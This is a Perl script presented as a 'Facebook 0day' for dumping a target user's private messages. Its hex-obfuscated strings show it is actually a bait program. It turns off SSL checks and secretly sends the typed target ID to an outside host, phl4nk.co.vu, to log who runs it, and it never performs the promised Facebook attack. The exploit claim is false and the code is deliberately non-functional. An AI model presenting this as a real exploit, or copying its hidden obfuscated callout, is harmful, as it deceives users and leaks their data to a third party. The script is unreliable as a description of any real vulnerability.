[+] Facepwn: Facebook 0day for capturing users messages [+]

#!/usr/bin/perl
#usage: facepwn.pl [target]
#Example output:
#./facepwn.pl their.facebook.id123
#[+] Building sploit
#[+] Attacking their.facebook.id123
#[+] Success! Dumping data:
#<[[
#[User_id]:98372299836
#dGhpcyBpcyBhIHByaXZhdGUgbWVzc2FnZSE=
#...[snip]...

use warnings;
use strict;
use WWW::Mechanize;

# build the 0day exploit containing target name/facebook_ID
# returns network stack to 'probe' the backend mobile listener
# when listener is probed, data is leaked
# may require a flux capacitor
sub build_sploit{
        my $target=shift;
        #buid payload
        print "[+] Building sploit\n";
        my $OO0O0O="\x57\x57\x57\x3a\x3a\x4d\x65\x63\x68\x61\x6e\x69\x7a\x65";
        my @OOO0=("\x66\x61\x6b\x65\x20\x6e\x65\x74\x77\x6f\x72\x6b\x20\x73\x74\x61\x63\x6b\x20\x6c\x6f\x6c");
        my $OO="\x53\x53\x4c\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65";
        my $OOOO00="\x76\x65\x72\x69\x66\x79\x5f\x68\x6f\x73\x74\x6e\x61\x6d\x65";
        #initiate network stack
        my $OOO0O=$OO0O0O->new(ssl_opts=>{$OO=>0,$OOOO00=>0});
        my $OO00O="\x4c\x6f\x6f\x6b\x73\x20\x6c\x69\x6b\x65\x20\x79\x6f\x75\x20\x64\x65\x2d\x6f\x62\x66\x75\x73\x63\x61\x74\x65\x64\x20\x74\x68\x65\x20\x63\x6f\x64\x65\x2e\x2e\x2e";
        my $OO0="\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x73\x69\x6d\x70\x6c\x65\x20\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x20\x74\x6f\x20\x73\x65\x65\x20\x68\x6f\x77\x20\x6d\x61\x6e\x79\x20\x70\x65\x6f\x70\x6c\x65\x20\x72\x75\x6e\x20\x74\x68\x69\x73\x20\x63\x6f\x64\x65\x20\x62\x6c\x69\x6e\x64\x6c\x79";
        my $OO0O="\x62\x6c\x6f\x67\x20\x70\x6f\x73\x74\x20\x72\x65\x76\x65\x61\x6c\x69\x6e\x67\x20\x74\x68\x65\x20\x64\x61\x74\x61\x20\x77\x69\x6c\x6c\x20\x62\x65\x20\x70\x75\x62\x6c\x69\x73\x68\x65\x64\x20\x73\x6f\x6f\x6e\x2e\x2e\x2e\x73\x74\x61\x79\x20\x74\x75\x6e\x65\x64";
        my $OO000="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x68\x6c\x34\x6e\x6b\x2e\x63\x6f\x2e\x76\x75\x2f\x69\x5f\x72\x75\x6e\x5f\x6f\x62\x66\x75\x73\x63\x61\x74\x65\x64\x5f\x63\x6f\x64\x65\x3f$target";
        $OOO0O->get($OO000);
        #build network stack
        push @0000,$OO00O;
        #push target ID onto stack
        push @0000,$target;
        push @0000,$OO0;
        push @0000,$OO0O;
        return @0000;
}

#build sploit from target {user_input}
my @payloads=build_sploit($ARGV[0]);
#iterate through the stack and fire payloads:
foreach(@payloads){
        my $attack=WWW::Mechanize->new();
        print "[+] Attacking $ARGV[0]...\n";
        if(my $attack="x73\x3a\x2f\x2f" eq $_ ? 1 : 0){
                my $messages=$attack->get("https://m.facebook.com/m/01/messages/$_");
                print "[+] Success! Dumping data:\n";
                print $messages;
        }else{
                print "[!] Something went wrong, modify the payload.\n";
                exit 1;
        }